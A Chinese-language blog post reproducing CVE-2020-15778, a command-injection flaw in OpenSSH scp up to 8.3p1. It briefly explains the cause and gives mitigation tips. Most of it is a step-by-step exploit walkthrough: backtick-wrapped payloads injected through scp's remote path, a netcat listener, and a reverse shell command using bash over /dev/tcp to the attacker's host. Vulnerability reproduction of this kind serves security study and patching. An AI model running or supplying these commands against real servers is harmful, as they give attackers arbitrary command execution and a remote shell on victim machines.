渗透WEB渗透与网络安全信息安全

CVE-2020-15778漏洞复现

2020-09-14  本文已影响0人  YPL8

OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞复现

详细描述

OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

影响产品

产品:Openssh
影响的组件:SCP
漏洞版本:<= openssh-8.3p1

漏洞原理

使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp Filename user@host:directory/Filename

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/Filename
image.png

问题就出在这个地方,也就是"scp.c"文件的991行,如图。这个地方未对传入的文件路径进行检测防护。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时,payload将会发送到远程服务器并执行。

利用环境

描述:要实现该漏洞必须知道ssh用户密码,但是一般来说ssh是阻止连接的。这个时候我们就可以利用这个漏洞进行连接。
攻击机:Kali-Linux-2020.3
受害机:CentOS-6.8

漏洞复现

1、在攻击机创建一个拷贝用的测试文件(为空即可)

touch test.txt
ls
image.png

2、测试在攻击机上scp到受害机

#使用scp命令将test.txt传送至受害机的tmp文件夹下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要输入受害机的密码,输入完成后,文件即传送过去了
image.png

3、查看受害机

#查看受害机/tmp目录,新增了test.txt文件
ls
image.png

注:上述是,测试scp命令是否可以正常使用
4、开始命令注入攻击

#在攻击机上通过特殊符号 ` 进行远程命令注入攻击
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'
image.png

5、查看受害机

#查看受害机/tmp目录
ls
image.png

注:通过 `` 符号内实现任意远程命令执行

5、攻击机监听端口

#新建一个攻击机窗口进行监听端口,如8452
nc -lvp 8452
image.png

6、反弹shell命令注入攻击


番外:

命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
命令 解释
bash -i 产生一个交互式bash
>& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1 从TCP连接获取输入

言归正传:

#攻击机原窗口进行反弹shell命令注入攻击
scp test.txt root@受害机ip:'`bash -i >&/dev/tcp/攻击机ip/8452 0>&1`/tmp/test.txt'
image.png

7、查看新建的攻击机窗口

#执行成功,成功回显,如下图
image.png

修复建议

目前厂商暂未发布修复措施解决此安全问题,等待官方补丁https://www.openssh.com/
加强ssh密码或密钥的保护,周期性更换密码或密钥
使用rsync代替scp

上一篇下一篇

猜你喜欢

热点阅读